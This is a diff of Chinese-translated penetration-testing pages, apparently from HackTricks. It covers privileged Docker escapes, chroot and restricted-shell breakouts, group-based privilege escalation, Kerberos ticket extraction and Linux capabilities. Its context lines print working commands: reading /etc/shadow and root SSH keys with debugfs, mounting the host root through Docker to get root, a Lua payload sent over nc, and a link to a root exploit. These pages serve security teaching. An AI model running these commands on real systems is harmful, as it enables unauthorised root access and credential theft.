@ -74,7 +74,7 @@ tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="内部特权容器"}}
|
||||
{{#tab name="Inside Privileged Container"}}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
mount | grep /proc.*tmpfs
|
||||
@ -82,9 +82,9 @@ mount | grep /proc.*tmpfs
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Linux 能力
|
||||
### Linux capabilities
|
||||
|
||||
容器引擎以 **有限数量的能力** 启动容器,以控制默认情况下容器内部发生的事情。 **特权** 容器具有 **所有** 可访问的 **能力**。要了解能力,请阅读:
|
||||
容器引擎以**有限的能力**启动容器,以控制容器内部的操作。**特权**容器具有**所有**可用的**能力**。要了解能力,请阅读:
|
||||
|
||||
{{#ref}}
|
||||
../linux-capabilities.md
|
||||
@ -102,7 +102,7 @@ Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setg
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="内部特权容器"}}
|
||||
{{#tab name="Inside Privileged Container"}}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
apk add -U libcap; capsh --print
|
||||
@ -114,12 +114,13 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
您可以通过使用 `--cap-add` 和 `--cap-drop` 标志来操纵容器可用的能力,而无需以 `--privileged` 模式运行。
|
||||
您可以通过使用 `--cap-add` 和 `--cap-drop` 标志来操控容器可用的能力,而无需以 `--privileged` 模式运行。
|
||||
|
||||
### Seccomp
|
||||
|
||||
**Seccomp** 对于 **限制** 容器可以调用的 **syscalls** 非常有用。默认情况下,在运行 docker 容器时启用默认的 seccomp 配置文件,但在特权模式下它是禁用的。有关 Seccomp 的更多信息,请访问:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
seccomp.md
|
||||
{{#endref}}
|
||||
@ -134,7 +135,7 @@ Seccomp_filters: 1
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="内部特权容器"}}
|
||||
{{#tab name="Inside Privileged Container"}}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
grep Seccomp /proc/1/status
|
||||
@ -162,7 +163,7 @@ apparmor.md
|
||||
```
|
||||
### SELinux
|
||||
|
||||
运行带有 `--privileged` 标志的容器会禁用 **SELinux 标签**,使其继承容器引擎的标签,通常为 `unconfined`,授予与容器引擎相似的完全访问权限。在无根模式下,它使用 `container_runtime_t`,而在根模式下,应用 `spc_t`。
|
||||
运行带有 `--privileged` 标志的容器会禁用 **SELinux 标签**,使其继承容器引擎的标签,通常为 `unconfined`,从而授予与容器引擎相似的完全访问权限。在无根模式下,它使用 `container_runtime_t`,而在根模式下,应用 `spc_t`。
|
||||
|
||||
{{#ref}}
|
||||
../selinux.md
|
||||
@ -188,7 +189,7 @@ PID USER TIME COMMAND
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="内部 --pid=host 容器"}}
|
||||
{{#tab name="Inside --pid=host Container"}}
|
||||
```bash
|
||||
# docker run --rm --privileged --pid=host -it alpine sh
|
||||
ps -ef
|
||||
|
||||
@ -4,42 +4,49 @@
|
||||
|
||||
### **PID namespace**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pid-namespace.md
|
||||
{{#endref}}
|
||||
|
||||
### **Mount namespace**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
mount-namespace.md
|
||||
{{#endref}}
|
||||
|
||||
### **Network namespace**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
network-namespace.md
|
||||
{{#endref}}
|
||||
|
||||
### **IPC Namespace**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ipc-namespace.md
|
||||
{{#endref}}
|
||||
|
||||
### **UTS namespace**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
uts-namespace.md
|
||||
{{#endref}}
|
||||
|
||||
### Time Namespace
|
||||
|
||||
|
||||
{{#ref}}
|
||||
time-namespace.md
|
||||
{{#endref}}
|
||||
|
||||
### User namespace
|
||||
|
||||
|
||||
{{#ref}}
|
||||
user-namespace.md
|
||||
{{#endref}}
|
||||
|
||||
@ -10,7 +10,7 @@ cgroup 命名空间是一个 Linux 内核特性,提供 **在命名空间内运
|
||||
|
||||
### 工作原理:
|
||||
|
||||
1. 当创建一个新的 cgroup 命名空间时,**它以创建进程的 cgroup 为基础开始查看 cgroup 层次结构**。这意味着在新的 cgroup 命名空间中运行的进程将只看到整个 cgroup 层次结构的一个子集,限制在以创建进程的 cgroup 为根的 cgroup 子树内。
|
||||
1. 当创建一个新的 cgroup 命名空间时,**它以创建进程的 cgroup 为基础,开始查看 cgroup 层次结构**。这意味着在新的 cgroup 命名空间中运行的进程将只看到整个 cgroup 层次结构的一个子集,限制在以创建进程的 cgroup 为根的 cgroup 子树内。
|
||||
2. 在 cgroup 命名空间内的进程将 **将自己的 cgroup 视为层次结构的根**。这意味着,从命名空间内进程的角度来看,它们自己的 cgroup 显示为根,并且它们无法看到或访问其自身子树之外的 cgroup。
|
||||
3. Cgroup 命名空间并不直接提供资源的隔离;**它们仅提供 cgroup 层次结构视图的隔离**。**资源控制和隔离仍然由 cgroup** 子系统(例如,cpu、内存等)本身强制执行。
|
||||
|
||||
@ -36,7 +36,7 @@ sudo unshare -C [--mount-proc] /bin/bash
|
||||
|
||||
当 `unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID(进程 ID)命名空间的方式,会遇到错误。关键细节和解决方案如下:
|
||||
|
||||
1. **问题说明**:
|
||||
1. **问题解释**:
|
||||
|
||||
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。
|
||||
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。
|
||||
@ -48,7 +48,7 @@ sudo unshare -C [--mount-proc] /bin/bash
|
||||
|
||||
3. **解决方案**:
|
||||
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
|
||||
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。
|
||||
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后,`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。
|
||||
|
||||
通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行而不会遇到内存分配错误。
|
||||
|
||||
@ -73,9 +73,9 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null
|
||||
```bash
|
||||
nsenter -C TARGET_PID --pid /bin/bash
|
||||
```
|
||||
此外,您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间(如 `/proc/self/ns/cgroup`)。
|
||||
您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的描述符的情况下**进入**其他命名空间(例如 `/proc/self/ns/cgroup`)。
|
||||
|
||||
## 参考
|
||||
## References
|
||||
|
||||
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
## Chroot 逃逸
|
||||
|
||||
来自 [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations):chroot 机制**并不旨在防御**来自**特权**(**root**)**用户**的故意篡改。在大多数系统中,chroot 上下文不能正确堆叠,具有足够权限的 chroot 程序**可能会执行第二次 chroot 以突破**。\
|
||||
来自 [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations):chroot 机制**并不旨在防御**来自**特权**(**root**)**用户**的故意篡改。在大多数系统中,chroot 上下文无法正确堆叠,具有足够权限的 chroot 程序**可能会执行第二次 chroot 以突破**。\
|
||||
通常这意味着要逃脱,你需要在 chroot 内部是 root。
|
||||
|
||||
> [!TIP]
|
||||
@ -17,9 +17,9 @@
|
||||
### Root + CWD
|
||||
|
||||
> [!WARNING]
|
||||
> 如果你在 chroot 内部是**root**,你**可以逃脱**,创建**另一个 chroot**。这是因为两个 chroot 不能共存(在 Linux 中),所以如果你创建一个文件夹,然后在那个新文件夹上**创建一个新的 chroot**,而你**在外面**,你现在将**在新的 chroot 之外**,因此你将处于文件系统中。
|
||||
> 如果你在 chroot 内部是 **root**,你**可以逃脱**,通过创建**另一个 chroot**。这是因为两个 chroot 不能共存(在 Linux 中),所以如果你创建一个文件夹,然后**在那个新文件夹上创建一个新的 chroot**,而你**在外面**,你现在将**在新的 chroot 之外**,因此你将处于文件系统中。
|
||||
>
|
||||
> 这发生是因为通常 chroot 并不会将你的工作目录移动到指定的目录,所以你可以创建一个 chroot,但在它之外。
|
||||
> 这发生是因为通常 chroot 并不会将你的工作目录移动到指定的目录,所以你可以创建一个 chroot,但在它外面。
|
||||
|
||||
通常你不会在 chroot 监狱中找到 `chroot` 二进制文件,但你**可以编译、上传并执行**一个二进制文件:
|
||||
|
||||
@ -114,16 +114,16 @@ chroot(".");
|
||||
> - 创建一个子进程 (fork)
|
||||
> - 创建 UDS 以便父进程和子进程可以通信
|
||||
> - 在子进程中在不同的文件夹中运行 chroot
|
||||
> - 在父进程中,创建一个位于新子进程 chroot 之外的文件夹的 FD
|
||||
> - 在父进程中,创建一个在新子进程 chroot 之外的文件夹的 FD
|
||||
> - 通过 UDS 将该 FD 传递给子进程
|
||||
> - 子进程 chdir 到该 FD,因为它在其 chroot 之外,因此将逃离监狱
|
||||
> - 子进程 chdir 到该 FD,因为它在其 chroot 之外,它将逃脱监禁
|
||||
|
||||
### Root + Mount
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - 将根设备 (/) 挂载到 chroot 内的一个目录
|
||||
> - chroot 到该目录
|
||||
> - 进入该目录的 chroot
|
||||
>
|
||||
> 这在 Linux 中是可能的
|
||||
|
||||
@ -133,13 +133,13 @@ chroot(".");
|
||||
>
|
||||
> - 将 procfs 挂载到 chroot 内的一个目录 (如果尚未挂载)
|
||||
> - 查找具有不同 root/cwd 条目的 pid,例如:/proc/1/root
|
||||
> - chroot 到该条目
|
||||
> - 进入该条目的 chroot
|
||||
|
||||
### Root(?) + Fork
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - 创建一个 Fork (子进程) 并 chroot 到文件系统中更深处的不同文件夹并在其上 CD
|
||||
> - 创建一个 Fork (子进程) 并 chroot 到文件系统中更深的不同文件夹并在其上 CD
|
||||
> - 从父进程中,将子进程所在的文件夹移动到子进程 chroot 之前的文件夹
|
||||
> - 这个子进程将发现自己在 chroot 之外
|
||||
|
||||
@ -154,7 +154,7 @@ chroot(".");
|
||||
|
||||
### Enumeration
|
||||
|
||||
获取有关监狱的信息:
|
||||
获取关于监禁的信息:
|
||||
```bash
|
||||
echo $SHELL
|
||||
echo $PATH
|
||||
@ -182,9 +182,9 @@ echo /home/* #List directory
|
||||
red /bin/bash
|
||||
> w wx/path #Write /bin/bash in a writable and executable path
|
||||
```
|
||||
### 通过 SSH 获取 bash
|
||||
### 从SSH获取bash
|
||||
|
||||
如果您通过 ssh 访问,可以使用这个技巧来执行 bash shell:
|
||||
如果您通过ssh访问,可以使用这个技巧来执行bash shell:
|
||||
```bash
|
||||
ssh -t user@<IP> bash # Get directly an interactive shell
|
||||
ssh user@<IP> -t "bash --noprofile -i"
|
||||
@ -238,7 +238,7 @@ print(rawget(string, "char")(0x41, 0x42))
|
||||
```bash
|
||||
for k,v in pairs(string) do print(k,v) end
|
||||
```
|
||||
请注意,每次在**不同的 lua 环境中执行前面的单行代码时,函数的顺序会改变**。因此,如果您需要执行一个特定的函数,可以通过加载不同的 lua 环境并调用库的第一个函数来进行暴力攻击:
|
||||
请注意,每次在**不同的lua环境中执行前面的单行代码时,函数的顺序会改变**。因此,如果您需要执行一个特定的函数,可以通过加载不同的lua环境并调用le library的第一个函数来进行暴力攻击:
|
||||
```bash
|
||||
#In this scenario you could BF the victim that is generating a new lua environment
|
||||
#for every interaction with the following line and when you are lucky
|
||||
@ -249,7 +249,7 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
|
||||
#and "char" from string library, and the use both to execute a command
|
||||
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
|
||||
```
|
||||
**获取交互式 lua shell**:如果您在一个受限的 lua shell 中,可以通过调用以下命令获取一个新的 lua shell(并希望是无限的):
|
||||
**获取交互式 lua shell**: 如果你在一个受限的 lua shell 中,可以通过调用来获取一个新的 lua shell(希望是无限的):
|
||||
```bash
|
||||
debug.debug()
|
||||
```
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### **PE - 方法 1**
|
||||
|
||||
**有时**,**默认情况下(或因为某些软件需要它)**在 **/etc/sudoers** 文件中你可以找到一些这样的行:
|
||||
**有时**,**默认情况下(或因为某些软件需要它)**在 **/etc/sudoers** 文件中可以找到一些这样的行:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
@ -16,24 +16,24 @@
|
||||
```
|
||||
这意味着**任何属于sudo或admin组的用户都可以以sudo身份执行任何操作**。
|
||||
|
||||
如果是这种情况,**要成为root,你只需执行**:
|
||||
如果是这种情况,要**成为root,你只需执行**:
|
||||
```
|
||||
sudo su
|
||||
```
|
||||
### PE - 方法 2
|
||||
### PE - Method 2
|
||||
|
||||
查找所有 suid 二进制文件,并检查是否存在二进制文件 **Pkexec**:
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
如果你发现二进制文件 **pkexec 是一个 SUID 二进制文件**,并且你属于 **sudo** 或 **admin**,你可能可以使用 `pkexec` 以 sudo 身份执行二进制文件。\
|
||||
这是因为通常这些是 **polkit 策略** 中的组。该策略基本上识别哪些组可以使用 `pkexec`。使用以下命令检查:
|
||||
这是因为通常这些是 **polkit 策略** 中的组。该策略基本上确定了哪些组可以使用 `pkexec`。使用以下命令检查:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
在那里您将找到哪些组被允许执行 **pkexec**,并且在某些 Linux 发行版中,**sudo** 和 **admin** 组默认出现。
|
||||
在这里你会发现哪些组被允许执行 **pkexec**,并且在某些 Linux 发行版中,**sudo** 和 **admin** 组默认出现。
|
||||
|
||||
要 **成为 root,您可以执行**:
|
||||
要 **成为 root,你可以执行**:
|
||||
```bash
|
||||
pkexec "/bin/sh" #You will be prompted for your user password
|
||||
```
|
||||
@ -72,13 +72,13 @@ sudo su
|
||||
```
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
所以,阅读文件并尝试**破解一些哈希**。
|
||||
So, read the file and try to **crack some hashes**.
|
||||
|
||||
## 员工组
|
||||
## Staff Group
|
||||
|
||||
**staff**: 允许用户在不需要根权限的情况下对系统进行本地修改(`/usr/local`)(注意,`/usr/local/bin`中的可执行文件在任何用户的PATH变量中,并且它们可能会“覆盖”在`/bin`和`/usr/bin`中具有相同名称的可执行文件)。与更相关于监控/安全的“adm”组进行比较。 [\[source\]](https://wiki.debian.org/SystemGroups)
|
||||
**staff**: 允许用户在不需要根权限的情况下对系统(`/usr/local`)进行本地修改(请注意,`/usr/local/bin` 中的可执行文件在任何用户的 PATH 变量中,并且它们可能会“覆盖” `/bin` 和 `/usr/bin` 中同名的可执行文件)。与更相关于监控/安全的 "adm" 组进行比较。 [\[source\]](https://wiki.debian.org/SystemGroups)
|
||||
|
||||
在debian发行版中,`$PATH`变量显示`/usr/local/`将以最高优先级运行,无论您是否是特权用户。
|
||||
在 debian 发行版中,`$PATH` 变量显示 `/usr/local/` 将以最高优先级运行,无论您是否是特权用户。
|
||||
```bash
|
||||
$ echo $PATH
|
||||
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
|
||||
@ -141,7 +141,7 @@ debugfs: ls
|
||||
debugfs: cat /root/.ssh/id_rsa
|
||||
debugfs: cat /etc/shadow
|
||||
```
|
||||
请注意,使用 debugfs 你也可以 **写入文件**。例如,要将 `/tmp/asd1.txt` 复制到 `/tmp/asd2.txt`,你可以执行:
|
||||
请注意,使用 debugfs 您也可以 **写入文件**。例如,要将 `/tmp/asd1.txt` 复制到 `/tmp/asd2.txt`,您可以执行:
|
||||
```bash
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
@ -150,13 +150,13 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
|
||||
## Video Group
|
||||
|
||||
使用命令 `w` 你可以找到**谁已登录系统**,它将显示如下输出:
|
||||
使用命令 `w` 你可以找到**谁登录了系统**,它将显示如下输出:
|
||||
```bash
|
||||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
**tty1** 表示用户 **yossi 物理上登录** 到机器上的一个终端。
|
||||
**tty1** 表示用户 **yossi 物理登录** 到机器上的一个终端。
|
||||
|
||||
**video group** 有权限查看屏幕输出。基本上,你可以观察屏幕。为了做到这一点,你需要 **抓取当前屏幕上的图像** 的原始数据,并获取屏幕使用的分辨率。屏幕数据可以保存在 `/dev/fb0`,你可以在 `/sys/class/graphics/fb0/virtual_size` 找到该屏幕的分辨率。
|
||||
```bash
|
||||
@ -173,7 +173,7 @@ cat /sys/class/graphics/fb0/virtual_size
|
||||
|
||||
## Root Group
|
||||
|
||||
看起来默认情况下**root组的成员**可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**,这些都可以用来提升权限...
|
||||
看起来默认情况下**root组的成员**可以访问**修改**某些**服务**配置文件或某些**库**文件或**其他有趣的东西**,这些都可以用来提升权限...
|
||||
|
||||
**检查root成员可以修改哪些文件**:
|
||||
```bash
|
||||
@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
## Docker 组
|
||||
|
||||
您可以**将主机的根文件系统挂载到实例的卷**,因此当实例启动时,它会立即加载一个 `chroot` 到该卷。这实际上为您提供了机器上的 root 权限。
|
||||
您可以**将主机的根文件系统挂载到实例的卷**,因此当实例启动时,它会立即加载一个 `chroot` 到该卷。这实际上使您在机器上获得了 root 权限。
|
||||
```bash
|
||||
docker image #Get images from the docker service
|
||||
|
||||
@ -199,7 +199,7 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chr
|
||||
../docker-security/
|
||||
{{#endref}}
|
||||
|
||||
如果你对 docker socket 有写权限,请阅读[**这篇关于如何通过滥用 docker socket 提升权限的文章**](../index.html#writable-docker-socket)**。**
|
||||
如果你对 docker socket 有写权限,请阅读[**这篇关于如何通过滥用 docker socket 提升权限的文章**](../index.html#writable-docker-socket)**.**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
@ -223,6 +223,6 @@ https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
## Auth 组
|
||||
|
||||
在 OpenBSD 中,**auth** 组通常可以在 _**/etc/skey**_ 和 _**/var/db/yubikey**_ 文件夹中写入(如果它们被使用)。\
|
||||
这些权限可能会被滥用,使用以下漏洞来**提升权限**到 root:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
|
||||
这些权限可能会被以下漏洞利用,以**提升权限**到 root:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
一台 Linux 机器也可以存在于 Active Directory 环境中。
|
||||
|
||||
在 AD 中的 Linux 机器可能会 **在文件中存储不同的 CCACHE 票证。这些票证可以像其他 kerberos 票证一样被使用和滥用**。为了读取这些票证,您需要是票证的用户所有者或 **root** 用户。
|
||||
在 AD 中的 Linux 机器可能会 **在文件中存储不同的 CCACHE 票证。这些票证可以像其他任何 kerberos 票证一样被使用和滥用**。为了读取这些票证,您需要是票证的用户所有者或 **root** 用户。
|
||||
|
||||
## 枚举
|
||||
## Enumeration
|
||||
|
||||
### 从 Linux 进行 AD 枚举
|
||||
|
||||
@ -20,7 +20,7 @@
|
||||
|
||||
### FreeIPA
|
||||
|
||||
FreeIPA 是一个开源的 **替代品**,用于 Microsoft Windows **Active Directory**,主要针对 **Unix** 环境。它结合了一个完整的 **LDAP 目录** 和一个 MIT **Kerberos** 密钥分发中心,管理方式类似于 Active Directory。利用 Dogtag **证书系统** 进行 CA 和 RA 证书管理,支持 **多因素** 身份验证,包括智能卡。SSSD 集成用于 Unix 身份验证过程。了解更多信息:
|
||||
FreeIPA 是一个开源的 **替代品**,用于 Microsoft Windows **Active Directory**,主要用于 **Unix** 环境。它结合了一个完整的 **LDAP 目录** 和一个 MIT **Kerberos** 密钥分发中心,管理方式类似于 Active Directory。利用 Dogtag **证书系统** 进行 CA 和 RA 证书管理,支持 **多因素** 身份验证,包括智能卡。SSSD 集成用于 Unix 身份验证过程。了解更多信息:
|
||||
|
||||
{{#ref}}
|
||||
../freeipa-pentesting.md
|
||||
@ -51,7 +51,7 @@ export KRB5CCNAME=/tmp/krb5cc_1000
|
||||
```
|
||||
### CCACHE 票据重用来自密钥环
|
||||
|
||||
**存储在进程内存中的 Kerberos 票据可以被提取**,特别是在机器的 ptrace 保护被禁用时(`/proc/sys/kernel/yama/ptrace_scope`)。一个有用的工具可以在 [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) 找到,它通过注入会话并将票据转储到 `/tmp` 来便于提取。
|
||||
**存储在进程内存中的 Kerberos 票据可以被提取**,特别是在机器的 ptrace 保护被禁用时(`/proc/sys/kernel/yama/ptrace_scope`)。一个有用的工具可以在 [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) 找到,它通过注入会话并将票据转储到 `/tmp` 来方便提取。
|
||||
|
||||
要配置和使用此工具,请按照以下步骤进行:
|
||||
```bash
|
||||
@ -62,9 +62,9 @@ make CONF=Release
|
||||
```
|
||||
此过程将尝试注入到各种会话中,通过将提取的票证存储在 `/tmp` 中,命名约定为 `__krb_UID.ccache` 来指示成功。
|
||||
|
||||
### 来自 SSSD KCM 的 CCACHE 票证重用
|
||||
### 来自SSSD KCM的CCACHE票证重用
|
||||
|
||||
SSSD 在路径 `/var/lib/sss/secrets/secrets.ldb` 处维护数据库的副本。相应的密钥存储为隐藏文件,路径为 `/var/lib/sss/secrets/.secrets.mkey`。默认情况下,只有在您具有 **root** 权限时,才能读取该密钥。
|
||||
SSSD在路径 `/var/lib/sss/secrets/secrets.ldb` 处维护数据库的副本。相应的密钥存储为隐藏文件,路径为 `/var/lib/sss/secrets/.secrets.mkey`。默认情况下,只有在您具有 **root** 权限时,才能读取该密钥。
|
||||
|
||||
使用 **`SSSDKCMExtractor`** 及 --database 和 --key 参数将解析数据库并 **解密秘密**。
|
||||
```bash
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Linux Capabilities
|
||||
|
||||
Linux capabilities 将 **root 权限划分为更小、独立的单元**,允许进程拥有一部分权限。这通过不必要地授予完全的 root 权限来最小化风险。
|
||||
Linux capabilities 将 **root 权限划分为更小、独立的单元**,允许进程拥有一部分权限。这通过不必要地授予完整的 root 权限来最小化风险。
|
||||
|
||||
### 问题:
|
||||
|
||||
@ -14,32 +14,32 @@ Linux capabilities 将 **root 权限划分为更小、独立的单元**,允许
|
||||
|
||||
1. **Inherited (CapInh)**:
|
||||
|
||||
- **目的**:确定从父进程传递下来的能力。
|
||||
- **功能**:当创建新进程时,它从其父进程继承此集合中的能力。对于在进程生成中维护某些权限非常有用。
|
||||
- **限制**:进程不能获得其父进程未拥有的能力。
|
||||
- **目的**:确定从父进程传递下来的权限。
|
||||
- **功能**:当创建新进程时,它从其父进程继承此集合中的权限。对于在进程生成中维护某些权限非常有用。
|
||||
- **限制**:进程不能获得其父进程未拥有的权限。
|
||||
|
||||
2. **Effective (CapEff)**:
|
||||
|
||||
- **目的**:表示进程在任何时刻实际使用的能力。
|
||||
- **功能**:这是内核检查以授予各种操作权限的能力集合。对于文件,这个集合可以是一个标志,指示文件的允许能力是否被视为有效。
|
||||
- **重要性**:有效集合对于即时权限检查至关重要,充当进程可以使用的活动能力集合。
|
||||
- **目的**:表示进程在任何时刻实际使用的权限。
|
||||
- **功能**:这是内核检查以授予各种操作权限的权限集合。对于文件,这个集合可以是一个标志,指示文件的允许权限是否被视为有效。
|
||||
- **重要性**:有效集合对于即时权限检查至关重要,充当进程可以使用的活动权限集合。
|
||||
|
||||
3. **Permitted (CapPrm)**:
|
||||
|
||||
- **目的**:定义进程可以拥有的最大能力集合。
|
||||
- **功能**:进程可以将权限集合中的能力提升到其有效集合,从而使其能够使用该能力。它还可以从其权限集合中删除能力。
|
||||
- **边界**:它作为进程可以拥有的能力的上限,确保进程不会超过其预定义的权限范围。
|
||||
- **目的**:定义进程可以拥有的最大权限集合。
|
||||
- **功能**:进程可以将权限从允许集合提升到其有效集合,从而使其能够使用该权限。它还可以从其允许集合中删除权限。
|
||||
- **边界**:它作为进程可以拥有的权限的上限,确保进程不会超过其预定义的权限范围。
|
||||
|
||||
4. **Bounding (CapBnd)**:
|
||||
|
||||
- **目的**:对进程在其生命周期内可以获得的能力设置上限。
|
||||
- **功能**:即使进程在其可继承或允许的集合中具有某种能力,除非它也在边界集合中,否则无法获得该能力。
|
||||
- **目的**:对进程在其生命周期内可以获得的权限设置上限。
|
||||
- **功能**:即使进程在其可继承或允许集合中具有某个权限,除非它也在边界集合中,否则无法获得该权限。
|
||||
- **用例**:此集合特别有助于限制进程的权限提升潜力,增加额外的安全层。
|
||||
|
||||
5. **Ambient (CapAmb)**:
|
||||
- **目的**:允许某些能力在 `execve` 系统调用中保持,这通常会导致进程能力的完全重置。
|
||||
- **功能**:确保没有关联文件能力的非 SUID 程序可以保留某些权限。
|
||||
- **限制**:此集合中的能力受可继承和允许集合的约束,确保它们不超过进程的允许权限。
|
||||
- **目的**:允许某些权限在 `execve` 系统调用中保持,这通常会导致进程权限的完全重置。
|
||||
- **功能**:确保没有关联文件权限的非 SUID 程序可以保留某些权限。
|
||||
- **限制**:此集合中的权限受可继承和允许集合的约束,确保它们不超过进程的允许权限。
|
||||
```python
|
||||
# Code to demonstrate the interaction of different capability sets might look like this:
|
||||
# Note: This is pseudo-code for illustrative purposes only.
|
||||
@ -54,7 +54,7 @@ process.preserve_capabilities_across_execve('CapAmb')
|
||||
- [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work)
|
||||
- [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/)
|
||||
|
||||
## 进程与二进制文件能力
|
||||
## 进程与二进制文件的能力
|
||||
|
||||
### 进程能力
|
||||
|
||||
@ -123,11 +123,11 @@ $ capsh --decode=0000000000003000
|
||||
0x0000000000003000=cap_net_admin,cap_net_raw
|
||||
```
|
||||
如您所见,给定的能力与获取二进制文件能力的两种方式的结果相对应。\
|
||||
_getpcaps_ 工具使用 **capget()** 系统调用查询特定线程的可用能力。此系统调用只需要提供 PID 以获取更多信息。
|
||||
_getpcaps_ 工具使用 **capget()** 系统调用查询特定线程的可用能力。此系统调用只需提供 PID 即可获取更多信息。
|
||||
|
||||
### 二进制文件能力
|
||||
|
||||
二进制文件可以具有在执行时可以使用的能力。例如,找到具有 `cap_net_raw` 能力的 `ping` 二进制文件是非常常见的:
|
||||
二进制文件可以具有在执行时可以使用的能力。例如,常见的情况是找到具有 `cap_net_raw` 能力的 `ping` 二进制文件:
|
||||
```bash
|
||||
getcap /usr/bin/ping
|
||||
/usr/bin/ping = cap_net_raw+ep
|
||||
@ -142,11 +142,11 @@ getcap -r / 2>/dev/null
|
||||
```bash
|
||||
capsh --drop=cap_net_raw --print -- -c "tcpdump"
|
||||
```
|
||||
除了 _capsh_ 本身的输出,_tcpdump_ 命令本身也应该引发错误。
|
||||
除了_capsh_本身的输出,_tcpdump_命令本身也应该引发错误。
|
||||
|
||||
> /bin/bash: /usr/sbin/tcpdump: 操作不允许
|
||||
|
||||
错误清楚地表明 ping 命令不允许打开 ICMP 套接字。现在我们可以确定这按预期工作。
|
||||
